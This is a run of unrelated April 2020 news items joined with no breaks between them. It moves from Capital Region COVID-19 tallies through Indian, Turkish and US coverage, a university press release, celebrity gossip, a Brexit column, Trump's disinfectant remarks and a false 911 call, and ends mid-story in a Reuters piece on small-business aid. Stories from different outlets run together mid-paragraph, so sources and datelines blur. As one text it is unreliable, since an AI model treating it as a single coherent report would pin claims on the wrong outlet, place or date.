Union has lifted the paywall on this developing coverage to provide critical information to our community. To support our journalists work, consider a digital subscription. Total COVID-19 cases: 295,106 in New York state, including 22,912 deaths. 844,994 total tested. 1,012,399 in the U.S., including 58,348 deaths. 115,648 recovered. 5,795,728 total tested. 3,114,659 worldwide, including 216,989 deaths. 925,921 recovered. Note: The figures include presumed COVID-19 deaths. The number of positive confirmed cases is cumulative and includes people who have recovered as well as those who died. Additional resources: Where to get tested for COVID-19. Here are the latest cancellations and postponements. For a detailed map, check out the Times Unions New York Coronavirus Tracker To get regular updates on our coverage, sign up for our coronavirus newsletter. Share stories about people helping others in our Facebook Group. Tuesday's latest updates: 4:06 p.m. Rensselaer County reports deaths reach 16 Officials said three more county residents, including two at the Diamond Hill facility in Schaghticoke, have died. The third death occurred in Nassau. The county total of residents who have died from COVID-19 is at 16. The county has 11 new confirmed cases of COVID-19. This brings the total of confirmed cases to 273. The county has 14 residents in the hospital, including three in ICU. There are now approximately 650 residents in monitor quarantine. The county added four more cases cleared for recovery, bringing the total of cleared cases to 150. 2:40 p.m. Two more Diamond Hill residents die Rensselaer County said they recorded 11 more COVID-19 cases on Tuesday and that two more residents from Diamond Hill nursing home died of the disease. That brings the county's death total to 15 with 273 total cases. 2:30 p.m. 10th Warren County resident dies of COVID-19 The county said the victim was a nursing home resident who lived in the southern part of the county. No other information on the victim was released. 10 a.m.: Local labor unions to honor workers on the front lines of the pandemic Local labor unions will air a video tribute to workers who died on the job in 2019 and will pay respects to the workers on the front lines of the COVID-19 pandemic. The video, in recognition of Workers Memorial Day, was produced by the Capital District Area Labor Federation, AFL-CIO, Albany County Central Federation of Labor and the Northeast NY Coalition for Occupational Safety and Health (NENYCOSH). NENYCOSH Director Rossana Coto-Batres said in a statement: Every year, more than 5,000 workers in the U.S. die from workplace fatalities, with 20-30 of those deaths happening here in the Capital District. We know that number is going to be even higher this year, with all the workers who are getting sick and dying from COVID-19 because of an exposure at their job. As the pandemic continues, we want to ensure workers are given all the protections they need so they can all return home safely to their families. Find the video on YouTube. ___ 9:07 a.m.: Vicarious Visions parent company donates $250K to Albany Med Activision Blizzard says the money will help the medical center use convalescent blood plasma therapy to experimentally treat critically ill patients. ___ 6:40 a.m.: Where to get tested in the Capital Region The number of testing sites for the general public is expanding nearly every day. A roundup of the region's various testing sites, hours of operation, and instructions for obtaining an appointment can be found at this free link. ___ 6:33 a.m.: State consultant's report sees dire economic effects of pandemic ALBANY A consultant for the state is predicting that the recession caused by the coronavirus pandemic will be deeper and the recovery longer than the 2008 Great Recession and that which followed the 9/11 terror attacks in 2001. According to a statement by the state Division of Budget, New York states economy will lose $243 billion over the course of the full recovery, which is equal to 14 percent of the states Gross Domestic Product. Recovery to "pre-COVID level" would take three years, to the first quarter of 2023, the review said. Read more ___ 6:19 a.m.: Should K-12 students be graded during COVID-19? While school districts in the Capital Region started transitioning to remote instruction in early April, many students still cannot access the internet, and debate is unfolding over how students should be graded during the COVID-19 pandemic. The state Education Department has exempted students from standardized tests and Regents exams, but has left it up to districts to decide how grade point averages are calculated, whether the third- and fourth-term scores will be included on transcripts, or whether students can be held back for incomplete work during the statewide lockdowns. Variations in grading among different schools in the Capital Region are drawing criticism from some parents, students, and educational equity advocates, who say all districts should adopt "no harm" policies that ensure no student can be penalized for circumstances beyond their control. Read more ___ Monday: Known case counts, hospitalizations, recoveries and deaths Albany County: 937 cases, 43 hospitalized, 6 in ICU, 478 recovered, 36 deaths Columbia County: 154 cases, 15 hospitalized, 4 in ICU, 81 recovered, 13 deaths Fulton County: 62 cases, 3 deaths Greene County: 119 cases, 41 active, 78 resolved, 5 hospitalized, 5 deaths Montgomery County: 49 cases, 34 recovered, 2 under medical care, 1 death Rensselaer County: 262 cases, 146 recovered, 14 hospitalized, 5 in ICU, 13 deaths Saratoga County: 331 cases, 9 hospitalized, 122 recoveries as of April 14, 12 deaths Schenectady County: 445 cases, 22 hospitalized in the county (regardless of the patient's county of residence), 258 recoveries, 22 deaths Schoharie County: 30 cases, 4 hospitalized, 26 recovered, 1 death as of April 24 Warren County: 128 cases, 4 hospitalized, 76 recovered, 9 deaths Washington County: 117 cases, 53 recovered, 2 deaths ___ Monday: Schenectady site tests over 140 Schenectady County's first mobile test site saw 146 residents on Monday, according to Ellis Hospital. The hospital will be testing against on Tuesday from 9 a.m. to 5 p.m. at Mont Pleasant Middle School in Schenectady. ___ Monday: Rensselaer County: 10 more test positive The county now has 262 confirmed cases of the coronavirus. The county said nine more cases were cleared for recovery, bringing the county total to 146. Fourteen county residents are hospitalized with five in the ICU. There are about 630 residents in monitor quarantine. The county has seen 2,726 residents tested. There have been 13 deaths of county residents from COVID-19. ___ Monday: Virus emerges in more Rensselaer County care sites Rensselaer County officials are expressing concern over a rise in coronavirus cases at area nursing home and adult care facilities. On Monday, county operations director Rich Crist said new cases had been confirmed in the last day at two new facilities in the county: the Eddy Heritage House nursing home in Troy and the Living Resources site for developmentally disabled adults in Schodack. Living Resources had three residents and two staff members test positive for the novel coronavirus, he said. Heritage House had two staff members test positive for the virus. Theyre kind of growing a little bit, and that makes us worried, Crist said, referring to cases in adult-care facilities. ___ Monday: Schenectady County reports 445 cases That's up from 426 reported Sunday. Of those, 258 have recovered. Meanwhile, 22 people are hospitalized with the novel coronavirus in the county, including both residents and non-residents. The county's known death toll from the virus stands at 22. ___ Monday: Saratoga County reports 331 cases That's up from 327 reported Sunday. Nine residents are currently hospitalized with the illness. The known death toll from the novel coronavirus stands at 12. The county also announced it will be hosting a Facebook Live event this Wednesday at 10 a.m. to answer questions from residents related to COVID-19. The hour-long event will be hosted on the Saratoga County Office of Emergency Services Facebook page and will feature Peter Bardunias, senior vice president, community advancement, Capital Region Chamber; Ken Slentz, superintendent, Ballston Spa Central School District; Sandra Cross, director, Saratoga County Office for the Aging. Community members can submit questions in advance or view the stream here. ___ Monday: Albany County reports four more deaths from COVID-19 for 36 total Four more Albany County residents have died after falling ill with the novel coronavirus, County Executive Daniel McCoy announced Monday. The county's known death toll from the virus now stands at 36. The recent deaths included a man in his 70s, two women in their 80s, and a woman in her 90s all with underlying health conditions. "Yes, they had underlying health issues, but it still's tough," McCoy said. "It's still tough. They're our residents. They're our family. They're the backbone of our community. And so my heart and prayers go out to the families and to everyone that's going through this, because times have changed and we have to adapt to the new change in life and we have to figure out how to reopen with all this going on." Read more ___ Read more updates from Monday SANTA FE Gov. Michelle Lujan Grisham is getting high marks for her handling of the coronavirus outbreak, a new poll has found. Sixty-two percent of New Mexico voters surveyed recently by Public Policy Polling approved of the governors handling of the pandemic, while just 26% disapproved. In contrast, the poll found just 40% of state voters surveyed approve of the job President Donald Trump is doing in dealing with the coronavirus outbreak, while 55% expressed disapproval. Among other steps, Lujan Grishams administration has ordered the closure of all businesses not deemed essential and issued a ban on large public gatherings in an attempt to slow the spread of the virus. The state also has among the nations highest per capita testing capacity for COVID-19 and recently expanded testing to include some essential workers including grocery store employees. The poll was conducted by Public Policy Polling for The Majority Institute, a Democratic-leaning organization. Public Policy Polling is a North Carolina-based firm that received a B rating from Nate Silvers FiveThirtyEight blog. The firm surveyed 1,009 New Mexico voters on April 20 and 21, with half the surveys conducted by calls to landlines and the other half done via text messages to cell phones. UP to poll in 7 phases, counting on Mar 10 UP assembly polls will be about '80 per cent vs 20 per cent'; BJP will win: Yogi Adityanath UP: Elections not won on exit polls basis, results will be surprising: Kamal Nath Two sadhus murdered in Uttar Pradesh India oi-Vicky Nanjappa Lucknow, Apr 28: Two sadhus (priests) were killed at Anupshahar area of Bulandshahr in Uttar Pradesh on Monday night. The accused killed the sadhus following an altercation over the stealing of their chimta or tongs a few days ago. The bodies of the two 55-year-old Sadhu Jagandas and 35-year-old Sadhu Sevadas were found in a mutilated condition. The bodies were discovered by the villagers. Coronavirus outbreak: Here is how Uttar Pradesh is planning to fight COVID-19 Preliminary investigations have found that a few days ago, the accused snatched the tongs from the sadhus, following which they scolded him. Angered by this, the accused killed the sadhus. The sadhus were murdered using a sharp weapon. This incident comes a few days after two sadhus were murdered in Palghar, Maharashtra. Manmohan Mall and his wife Garima Kothari were found dead in an apparent murder-suicide in Jersey City, New Jersey. Kothari was the owner chef of Nukkad restaurant in Jersey City, a popular Indian soul food restaurant. The couple is shown in Barcelona, Spain, in a 2013 photo. (Facebook photo) Turkey sees the lowest number of new coronavirus cases in 20 days On Sunday, Turkey saw the lowest number of new coronavirus cases in 20 days with 2,357 people testing positive for the virus. The total number of registered coronavirus cases now stands at 110,130. Today is the day with the lowest number of new cases in the past 20 days, Health Minister Fahrettin Koca tweeted. The number of deaths stood at 99, marking the seventh consecutive decline in fatalities. The latest deaths bring the total number of fatalities to 2,805. According to the data, 3,558 people were released from hospitals in the past 24 hours, making the number of recovered patients 29,140. The downward trend continued in patients needing intensive care. Turkey is currently treating 1,776 patients in intensive care units. The number of administered tests was also down to 30,177 in the past 24 hours, which the minister attributed to a decreased need because of lower contact opportunities. The overall number of tests now stands at 889,742. You can see the curve starting to flatten as the number of new registered coronavirus cases reduces Source: https://www.dailysabah.com/turkey/turkey-sees-fewest-new-coronavirus-cases-in-20-days-7th-consecutive-drop-in-deaths/news COVID-19 recoveries exceed new cases as Turkey ponders normalization An empty Salacak esplanade against the backdrop of the iconic Maidens Tower during a curfew, in Istanbul, Turkey, April 26, 2020. (AA Photo) Daily Sabah has reported that the Turkish Statistical Institute (TurkStat) will examine the socioeconomic development status and frequency of cases via a sampling method to create an immunity map. With the nationwide initiative, Turkey hopes to join other countries that have managed to control the outbreak and resumed daily life. Read the full article: https://www.dailysabah.com/turkey/covid-19-recoveries-exceed-new-cases-as-turkey-ponders-normalization/news COVID-19 cases drop further in Turkey while plasma therapy gets results Traffic on July 15 Martyrs Bridge after the end of a four-day curfew, in Istanbul, Turkey, April 27, 2020. (IHA Photo) The tide is apparently turning as the number of COVID-19 cases continue decreasing in Turkey after weeks of grim news. The number of new cases was the lowest in 20 days while fatalities finally dropped below 100 as of late Sunday. Professor Ilhami Celik, a member of the Health Ministrys Coronavirus Science Board, meanwhile, announced that plasma therapy for COVID-19 patients was getting results. Turkey on Sunday saw the lowest number of new coronavirus cases in 20 days as the number of recoveries hit 3,558. The number of deaths stood at 99, marking the seventh consecutive decline in fatalities. READ: https://www.dailysabah.com/turkey/covid-19-cases-drop-further-in-turkey-while-plasma-therapy-gets-results/news Turkey restricts travel from Istanbul to Black Sea region Turkish authorities have restricted movements of some 100,000 people, who live in Istanbul but want to travel to the Black Sea provinces, to harvest tea in their land plots there, in a bid to curb the coronavirus spread in the region. Following a meeting with officials from the Interior Ministry, the governors of the Black Sea provinces of Rize, Artvin, Trabzon, and Giresun have announced that only people, who reside in nearby cities, will be allowed to do the harvest work this year. However, special harvest commissions, under the supervision of the district governors, will be set up to ensure that the tea harvest is not interrupted this year. READ: https://www.hurriyetdailynews.com/turkey-restricts-travel-from-istanbul-to-black-sea-region-154235 Turkey Detains Over 400 Over Provocative Virus Posts Turkish authorities have detained 402 people over baseless and provocative social media posts about the coronavirus pandemic, the interior ministry said on Monday. The official said some of the posts in question included claims that a lockdown would last longer than all-day weekend curfews announced by the government and accusations that authorities were lying about the number of deaths. In the past 42 days, 6,362 social media accounts have been analysed, and 855 suspects have been confirmed while 402 have been caught, the ministry tweeted. The figure is separate from the detention of 410 people over similar claims at the end of March, a ministry official clarified to AFP. Fethiye Times will continue to moderate and delete such comments in line with our code of conduct. Sources: AFP Agence France Presse April 27, 2020/ https://gercekfethiye.com/icisleri-bakanligindan-aciklama/26969/ Global statistics There are now 3,016,633 confirmed cases of COVID-19 globally, of which 888,551 have recovered. The number of fatalities stands at 207,971. Source: Worldometer. Follow Fethiye Times on social media for regular updates. Like us on Facebook Follow us on Instagram Follow us on Twitter Todays featured image: Turkish Health Minister Fahrettin Koca (centre) and medical officials applaud during the inauguration ceremony for the Basaksehir City Hospital, a new massive health care complex partially opened to assist in the fight against the COVID-19 outbreak, in Istanbul, April 20, 2020. (AP Photo) TEMPE, Ariz., April 28, 2020 /PRNewswire/ -- In these uncertain times, the Annual Economic Outlook is an important event to attend. One of the longest running, most in-demand forecast events in the Valley, the Annual Economic Outlook will be offered exclusively online for the first time, presented by the Economic Club of Phoenix (ECP) on Tuesday, May 5, from noon to 1:30 p.m. Top experts from Arizona State University's W. P. Carey School of Business who are regularly interviewed in the press for their expertise in the national, state, and local economy, as well as trends in commercial and residential real estate, will examine the impact of recent events and explain what's around the corner, discussing how COVID-19, stock market volatility, and the upcoming election will shape our economic future. Featured speakers W. P. Carey Dean Amy Hillman will moderate the Economic Outlook and the economists will answer audience questions during an interactive Q&A session. Dennis Hoffman, a professor of economics and director of the Seidman Research Institute, will examine recent national trends as the U.S. deals with COVID-19 and share the factors that will influence those trends going forward. Lee McPheters, a research professor of economics and director of the JPMorgan Chase Economic Outlook Center, will offer a first look at the year ahead for Arizona and the Phoenix metro area as the Valley deals with the myriad of challenges coronavirus presents, along with an update on year-to-date performance in 2020. Mark Stapp, Fred E. Taylor Professor in Real Estate and executive director of the Master of Real Estate Development program, will discuss how the normal approaches in the industry, such as foreclosure, eviction, and locking out are not likely to work during the pandemic and could cause more damage. When: This annual Phoenix tradition will be offered in a new interactive webinar format on Tuesday, May 5, 2020, from noon to 1:30 p.m. Register: This event is complimentary for ECP members, and their membership will be extended one luncheon during the 2020-21 season, which begins this fall. Non-member registration is only $50. Sign up online at wpcarey.asu.edu/economic-club. Media note: Prior to the webinar, Hoffman, McPheters, and Stapp will be available for phone interviews. Reporters are asked to RSVP in advance of the event by emailing [email protected], managing editor for ASU's W. P. Carey School of Business, to make interview arrangements. About the W. P. Carey School of Business The W. P. Carey School of Business at Arizona State University is one of the top-ranked business schools in the United States. The school is internationally regarded for its research productivity and its distinguished faculty members, including a Nobel Prize winner. Students come from more than 100 countries and W. P. Carey is represented by alumni in over 160 countries. Visit wpcarey.asu.edu. For more information, contacts: Kim Steinmetz, W. P. Carey School of Business [email protected] 480-965-5464 Shay Moser, W. P. Carey School of Business [email protected] 480-965-3963 SOURCE W. P. Carey School of Business at Arizona State University Related Links https://wpcarey.asu.edu Karl and Jasmine Stefanovic (nee Yarbrough) will welcome their first child - a girl - next month. And on Tuesday, shoe designer Jasmine proudly showed off her burgeoning baby bump on Instagram ahead of her May due date. The soon-to-be-mother, 36, cradled her stomach in a chic black dress, writing in the caption: 'countdown is on!' Scroll down for video 'The countdown is on!': Karl Stefanovic's pregnant wife Jasmine Yarbrough shared a rare photo of her large baby bump on Tuesday Jasmine's pregnancy has mostly been kept private by the couple, with only a few rare photos of Jasmine shared with a visible bump over her three trimesters. Sharing a glimpse into her isolation pregnancy with a question-and-answer post on Tuesday, she said she had been eating lots and reading 'a novel called Motherhood'. She also expressed her excitement over the couple's impending arrival, say she was: 'currently daydreaming of meeting my new baby girl.' 'After a great deal of speculation...the rumours are true': Karl (right) confirmed Jasmine's pregnancy news via Instagram in December, after she (left) was spotted with a slight bump in Byron Bay that month 'I'm currently daydreaming of meeting my new baby girl': Sharing a glimpse into her isolation pregnancy on Tuesday, Jasmine said she reading 'a novel called Motherhood' Ready for bub: Jasmine shared this photo to Instagram from her baby's nursery earlier this month in the couple's new Sydney abode Photos taken of Jasmine in a swimsuit in Byron Bay on December 14 confirmed speculation the couple were expecting their first child together. Karl, 45, later announced the news via Instagram by writing: 'After a great deal of speculation...the rumours are true.' Earlier this month, the Today show host and his pregnant wife moved into a $7.3million waterfront mansion in Sydney as they prepare to become parents. The lavish property on Sydney's lower north shore has plenty of space for a growing family, with a total of four bedrooms across four levels. Happily ever after: In December, Karl and Jasmine celebrated their one-year anniversary after tying the knot in Los Cabos, Mexico, in late 2018. Pictured on their wedding day Karl and Jasmine began dating in late 2016, five months after he had separated from his first wife, Cassandra Thorburn, following 21 years of marriage. The former couple share three children: Jackson, 20, River, 12, and Ava, 14. In December, Karl and Jasmine celebrated their one-year anniversary after tying the knot at Mexico's five-star One&Only Palmilla resort in late 2018. Gillian Duffys encounter with Gordon Brown could be the starting point of the story of the entire decade, from the election campaign of 2010 to Britains departure from the EU in January 2020. She expressed a popular concern about free movement of people; the prime minister, leader of the political class, dismissed that concern as bigotry. There is a thread leading from that clash to the vote to leave in 2016 and to our actual departure four years later. All these eastern Europeans what are coming in: where are they flocking from? Her truculent exchange with the prime minister, on an election tour of Rochdale, was symbolic of the breach that was opening up between the Labour Party and part of its working-class vote. At the time it was easy to dismiss indeed, dismissing it as mere bigotry was what the fuss was about. Free movement was not much of an issue in the 2010 campaign. Europe was an election subject mainly because there were fears that the aftershocks of the financial crisis were going to break the euro. So the fuss about some bigoted woman who used to be Labour, as Mr Brown called her, unaware that his microphone was still on, was, at the time, mostly about presentation. A lot of the gleeful coverage by the metropolitan media was along the lines of: Oh dear, the prime minister has been caught out telling the truth about an awful voter; how is he going to get out of that? But something deeper and more important was going on. Worrying about free movement wasnt just bigotry, although there might have been an element of xenophobia about it. Unless you call 52 per cent of British voters racist, there was respectable argument about national sovereignty too. All the leading politicians, of all parties in parliament, were behind the curve (and Nigel Farage was a fringe candidate whose banner-towing plane crashed). For Mr Brown, David Cameron and Nick Clegg, EU membership was a given. They knew that one of the conditions was the free movement of workers, but for most of their lives the numbers had been small. If they had reservations when 2m central Europeans arrived in Britain after EU enlargement in 2004, they rationalised it as a price worth paying for the greater benefits of membership. But that was not what it felt like for Ms Duffy. When journalists revisited her at the time of the 2016 referendum, she said: I love being English and I dont want to be a European. Her outburst six years earlier was a significant marker of the start of the realignment of British politics, by which the Labour vote ended up about as middle-class as the Tory vote, and Tory voters ended up about as working-class as Labour ones. Gordon Brown calls Labour supporter a bigoted woman As the Brexit divide replaced the class divide as the big determinant of British voting behaviour, Ms Duffy turned out to have been a harbinger from the future, a messenger sent from the ex-Labour seats of the north, midlands and north Wales that fell to the Tories in 2019. Her reward was to be dismissed as a bigot by one Labour leader and to be ignored by his successors. Ed Miliband and Jeremy Corbyn thought the way to win back working-class voters was to offer to renationalise the railways. It was Boris Johnson who knew what she was about. As leader of the Leave campaign and then as the prime minister who could deliver Brexit, he understood the desire of many traditional Labour voters for national pride and independence. A COVID-19 patient in Chula Vista, Calif. (Marcus Yam / Los Angeles Times) U.S. coronavirus-related deaths reached a somber milestone on Tuesday, surpassing the number of Americans killed in the Vietnam War. More than 58,300 Americans have died from COVID-19, according to a tally kept by Johns Hopkins University. That compares with the National Archives figure of 58,220 deaths from the Vietnam War, which lasted more than a decade. Confirmed cases of COVID-19 topped 1 million in the U.S. on Tuesday, according to Johns Hopkins. The novel coronavirus has laid siege to healthcare systems and battered economies around the world since health officials first identified it in December in Wuhan, China. As President Trump on Tuesday applauded states that had reopened during the pandemic, several governors warned that caution was needed before allowing people to crowd shops and restaurants. New York Gov. Andrew Cuomo said officials would be measuring certain critical data points as the state reopens businesses in the weeks ahead. Among those points, Cuomo said, is whether hospital emergency rooms begin to exceed 70% capacity. Dont overwhelm the hospital system, Cuomo, a Democrat, said during a news conference Tuesday. If you ever hit 70%, you can expect the number to go up for the next two weeks as people who just got infected actually get ill and some of them come into the hospital. New York state has remained a hotbed of the coronavirus outbreak in the U.S., with 295,000 cases and more than 22,900 deaths. Its stay-at-home requirement is set to expire on May 15, but the order could be extended. Still, the number of deaths in New York has declined in recent days. The Comfort, a U.S. Navy hospital ship that has been docked in New York Harbor since last month and has treated virus patients, is set to depart Thursday. In recent days, Cuomo has outlined a plan that could see businesses reopening in phases starting with construction, then possibly retail establishments. On Tuesday, Trump used social media to laud Greg Abbott, Texas' Republican governor, who has announced that his state will ease stay-at-home restrictions this week. Trump, who has said the reopening of states is up to governors, also acknowledged moves in various parts of the country to ease restrictions. Story continues Many States moving to SAFELY & QUICKLY reopen! he tweeted Tuesday. A day earlier, several states Colorado, Montana, Tennessee lifted stay-at-home requirements. States from the heartland to the Deep South are expected to ease restrictions in the days ahead. Florida Gov. Ron DeSantis, a Republican, met with Trump in the White House on Tuesday and said his state had done a better job of combating coronavirus than others. In recent weeks, DeSantis was castigated by critics for a delayed response in issuing a stay-at-home order. The state has seen 32,000 infections and more than 1,100 deaths. "You go from D.C., Maryland, New Jersey, New York, Connecticut, Massachusetts, Michigan, Indiana, Ohio, Illinois, you name it. Florida has done better," said DeSantis as he sat next to Trump. But some governors are urging patience. Massachusetts Gov. Charlie Baker said Tuesday that his states stay-at-home advisory would not be lifted on May 4 but instead was extended until May 18. I know pushing these dates back a couple of weeks is probably not what many people want to hear," Baker, a Republican, said, noting that the safety of his residents was his main priority. Nearby, in Maine, Gov. Janet Mills extended her state's virus orders through the end of May. Speaking to reporters on Tuesday, Mills said the order allows "Maine people to continue to engage in activities that are already permitted such as occasional grocery shopping, exercise." She said as the month progresses the restrictions will be "modified to allow us to participate in the safe and gradual reopening, restarting of our economy. Like most rural, less densely populated areas, the state has seen just 1,000 cases and at least 50 deaths. Many of the vacation towns that dot the coast have asked visitors mostly wealthy New Yorkers with second homes to stay away during the pandemic. Meanwhile, in the South, where high rates of infections have occurred, health officials are paying close attention to Georgia, where businesses like hair salons and gyms reopened last week and restaurants were allowed to reopen Monday. In Louisiana, which has seen high rates of infections and deaths among black communities from Baton Rouge to New Orleans, Gov. John Bel Edwards extended the states order until May 15. He said the state had not flattened its coronavirus infection curve enough to reopen. Louisiana has seen 27,000 infections and more than 1,800 deaths. I would much rather have come out today and said we looked at the criteria, we met it all, were going to go to phase one, said Edwards, a Democrat. Thats just not where we are. The one thing I refuse to do is fudge that. Im not going to pretend were better off than we are. A Kansas man drank a cleaning product last weekend and called the state's poison control center. He wasnt the only one. Donald Trumps riff on using caustic cleaners and disinfectants to treat COVID-19 lit up helplines nationwide from people seeking advice on ingesting or inhaling household cleaning products such as Lysol and Clorox. When Trump floated that idea, aired during a White House coronavirus briefing, he unwittingly poured fuel on a burning fire. Disinfectant-related calls to poison control centers had already risen by 20 percent from January to March, many due to the overzealous and incorrect use of toxic products by people deep-cleaning their homes to safeguard them from COVID-19. The calls were a reaction to growing public awareness of the coronavirus pandemic. They spiked following March 11, when actor Tom Hanks announced online that hed tested positive for the virus. In the next few weeks, he was followed by Prince Charles, Brooklyn Nets player Kevin Durant and three other Nets players, and late-night talk show host Andy Cohen. At the beginning of April, CNN anchor Chris Cuomo began giving daily, on-camera updates on his experience fighting the illness. But calls climbed to new heights after Trump mused during a White House press briefing about the feasibility of injecting or consuming cleaning products that kill COVID-19 on counters and other surfaces. And then I see the disinfectant, where it knocks it out in a minute. One minute, he said. And is there a way we can do something like that, by injection inside or almost a cleaning? Because you see it gets in the lungs, and it does a tremendous number on the lungs. So it would be interesting to check that. So youre going to have to use medical doctors with but it sounds interesting to me. In a typically meandering verbal waltz, Trump also floated the idea of somehow getting UV light, which is used to disinfect surfaces of COVI-19, inside the body. Trump later denied making the statements, but they were hard to duck because they were recorded and replayed frequently. Trump later acknowledged them but claimed he was being sarcastic. Recordings of the briefing, however, show a very earnest Trump trying to help and, perhaps, get credit if his idea worked. Even people who like Trump dont trust his medical advice on COVID-19. They prefer to get direction from their governors or Dr. Anthony Fauci, longtime chief of the National Institute of allergies and infectious diseases. A Morning Consult poll found that 71 percent of respondents said theyd trust Fauci a lot or some about when to end shutdowns in place all over the country. On the other hand, 41 percent said they wouldnt trust Trump at all and 11 percent said theyd trust him not much. The poll was conducted before Trump shared potential new uses for cleaning products. Still, as president, Trump has a lot of influence over millions of people, especially those who watch Fox News or listen to right-wing radio. They take him at his word, even if it is always changing. Some apparently trust him enough to embrace his version of the Tide pod challenge. After the White House briefing, the phone began ringing off the hook at medical help lines and poison control centers all over the country. For example, New York City's Department of Health and Mental Hygiene told NPR that its poison control center took 30 calls about exposure to household cleaners within 18 hours of Trumps remarks. Thats double the normal number of calls in that timeframe. The Illinois Department of Public Health reported a significant increase in calls about disinfectants and household cleaners in the immediate aftermath of the White House briefing, including a call from a person who tried gargling with a mixture of mouthwash and bleach. Maryland Gov. Larry Hogan said his states hotline received hundreds of calls asking if it was right to ingest Clorox or alcohol cleaning products, whether that was going to help them fight the virus. Many other states had similar reports. They responded by disseminating warnings to their citizens. The makers of disinfectants and cleaning products also issued strong messages warning consumers not to use their products for anything but their intended uses. RB, which manufactures Lysol, tried to gain control of the potentially explosive situation by issuing a statement saying, As a global leader in health and hygiene products, we must be clear that under no circumstance should our disinfectant products be administered into the human body (through injection, ingestion or any other route. The Environmental Protection Agency released new guidelines: "Never apply the product to yourself or others. Do not ingest disinfectant products." Doctors and other medical professionals issued warnings via Twitter, which also was overrun with comic tweets and memes. As for Trump, when asked by a reporter on April 27 if he took responsibility for the sudden rash of poisonings, he said, No, I dont. No, I cant imagine. I cant imagine that, he said. SHAKER HEIGHTS, Ohio -- Historically, the citys conservative fiscal policies have built up a rainy day fund sufficient to weather an economic storm. But as Mayor David Weiss has pointed out before, the coronavirus outbreak is more than a storm -- its a tsunami that has taken a toll not only from a health standpoint, but also with a financial impact at the national, state and local levels. "And Shaker Heights is no exception -- we are not exempt from that impact," Weiss added at the outset of Monday's (April 27) City Council meeting, the third to be conducted remotely through a community conference call due to Ohio's stay-at-home order and the fact that City Hall has been closed to the public for more than a month. The city entered the year with a cash reserve of more than $17 million, but this years revenues have already been affected by actual losses, as well as delays in paying taxes. "We have people with reduced incomes or who have lost their jobs, and this will all have a significant impact on our budget," Weiss added. "There are also a number of unknowns in terms of stimulus funds and other variables we are attempting to quantify." At the same time, Weiss said he did not want to pass up the opportunity to thank City Council, the city management team, staff and residents for their perseverance through an unprecedented set of circumstances. "We can't always say that our actions have saved lives, but in this case, we've done exceedingly well in battling COVID-19 and 'flattening the curve,'" Weiss said. With many people still being infected, calls for continued social distancing remain in effect and the city has canceled all of its public events, at least through the end of May. After city officials revisit the balance of the summer, an announcement should be coming relatively soon about Thornton Pool, camps and programs, as well as block parties, Weiss said. When and if the pool does open, we will need some lead time for the pool to become operational, he added. Residents also need to know that city officials are spending a "tremendous amount of time looking over the budget and taking appropriate action to eliminate some expenses so that they track the loss of revenues," Weiss said. Weiss also mentioned Mondays announcements from Gov. Mike DeWine about the first phase of the potential reopening of the states economy, beginning with outpatient medical procedures, dentists and veterinarians. The phase-ins will continue with manufacturing, construction and offices on May 4 and consumer retail on May 12. Weiss added that these are "permissive dates," meaning that business owners are certainly not required to open if they feel they are not yet prepared to do so. "We need to remain thoughtful and judicious about this," Weiss said. "It's imperative that businesses reopen only if they have all of the safety precautions and programs in place. And we need to keep tracking to ensure that there is no negative impact on the health front." Councilwomen Anne Williams and Nancy Moore asked about the possibility of setting up a "tele-town hall" for any residents who are feeling disconnected and would like to re-engage with the community. "It would be a chance for people to interact with the mayor, the (fire and police) chiefs, the finance director and others to get a little dialogue going," Williams said. Councilwoman Carmella Williams also asked city officials to consider putting medical information on the citys Facebook page and perhaps getting doctors, nurses or other health officials to consider doing a live Facebook presentation. Read more from the Sun Press. PONTOON BEACH A Menasha Packaging employee is in custody after allegedly calling 911 on Tuesday to report shots being fire inside the facility and that someone was trying to kill him. Pontoon Beach Police Chief Chris Modrusic said the employee, who has not been named, called dispatchers a second time to report more shots fired inside the warehouse. The calls have been deemed a false 911 report; no shooter was found on scene. At approximately 8:02 a.m., a significant police presence responded to 9 Gateway Commerce Drive in response to the call. Multiple agencies from Madison County quickly responded to the request for mutual aid assistance, Modrusic said. Once on the scene, officers along with a K9 unit searched the premises for a possible shooter. An Illinois State Police plane also searched the rooftop. Employees were evacuated but returned to work after officers checked the building, Modrusic said. Almost 200 employees were in there today, including management and supervisors, he said, adding there are a lot of places to hide in such a large warehouse. Its a strenuous, stressful situation because we dont know what we are going into, but we know we have a duty to eliminate the threat. No injuries occurred in the incident and no weapon was found. Officers cleared the scene around 11:30 a.m. Tuesday. The false 911 report may result in charges against the caller who is currently in custody and being questioned by detectives, Modrusic said. Modrusic said he doesnt know why the employee made the false call. Pontoon Beach Police Department will work with Madison County States Attorneys Office on any possible charges. Menasha handles packaging from retail and shipping to retail merchandising. 143 coronavirus patients were detected in the Pune district since previous night, taking the total number of cases in the district to 1,491, a health official said on Tuesday. With three COVID-19 patients dying on Tuesday, the death toll in the district rose to 83. "In Pune municipal limits, 130 new cases of infection were reported in the last 24 hours taking the city's total to 1,320. In Pimpri Chinchwad, 10 new cases were reported and the tally has now reached 103," said an official of the district health department. "In rural part of the district, the number has gone up to 68 with three more cases," he added. In good news, a four-month-old baby boy was among nine people who were discharged from the Sassoon General Hospital here after they recovered from COVID-19. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Lee Seong-hyon North Korea is a country that invites misunderstanding. The disappearance of North Korean leader Kim Jong-un has been creating commotion not just in South Korea, but around the world. The security implication is, understandably, huge. North Korea is a nuclear state. A power vacuum could incite violent turbulence in the region. However, when the dust finally settles, all the headlines of Kim's alleged death or grave illness is likely to turn out to be "much ado about nothing." The most critical indicator is that North Korea's military is not on alert, as it would otherwise be. When there is a national security emergency in North Korea, like the sudden death of its dictator, there are three things to check when it comes to gauging the contingency in North Korea. First, unusual signs in North Korea's troop movement along the Demilitarized Zone (DMZ) that divides the two Koreas; second, unusual signs in the Pyongyang Defense Command that is comprised of about 25,000 soldiers who guard the capital; third, unusual signs in the signals intelligence (SIGINT) coming in and out of Pyongyang. Additionally, the U.S. forces in South Korea and Japan deploy surveillance aircraft such as the U.S. Air Force's E-8C and the Navy's P-3C to monitor North Korea. It appears that the governments of both South Korea and the United States have concluded that there is no unusual movement in North Korea in this regard, giving an indicator that Kim is still in charge and calls the shots. By Pete Schroeder and Michelle Price WASHINGTON (Reuters) - U.S. banks beginning another chaotic dash to grab $310 billion in fresh small-business aid released by the government on Monday were hamstrung after 11th-hour changes to the first-come-first-served program caused technology issues for many lenders. The Small Business Administration reopened its Paycheck Protection Program at 10:30 a.m By Pete Schroeder and Michelle Price 